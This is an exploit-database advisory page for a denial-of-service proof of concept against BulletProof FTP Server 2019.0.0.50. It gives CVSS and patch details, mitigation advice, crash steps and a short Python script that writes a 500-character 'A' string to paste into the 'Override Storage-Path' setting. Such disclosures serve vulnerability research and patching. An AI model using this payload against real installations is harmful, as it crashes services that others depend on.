BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)

vendor:

BulletProof FTP Server

by:

Victor Mondragón

7.8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: BulletProof FTP Server

Affected Version From: 2019.0.0.50

Affected Version To: 2019.0.0.50

Patch Exists: YES

Related CWE: N/A

CPE: a:bpftpserver:bulletproof_ftp_server

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

2019

BulletProof FTP Server 2019.0.0.50 – ‘Storage-Path’ Denial of Service (PoC)

A denial of service vulnerability exists in BulletProof FTP Server 2019.0.0.50 when an attacker sends a specially crafted request containing a large amount of data to the 'Storage-Path' parameter. This can cause the application to crash.

Mitigation:

Upgrade to the latest version of BulletProof FTP Server.

Source

Exploit-DB raw data:

#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-18
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: BulletProof_Storage_Server_2019.0.0.50.py
#2.- Open bullet_storage.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "Advanced"
#5.- Enable "Override Storage-Path" and Paste Clipboard
#6.- Click on "Save"
#7.- Crashed

cod = "\x41" * 500

f = open('bullet_storage.txt', 'w')
f.write(cod)
f.close()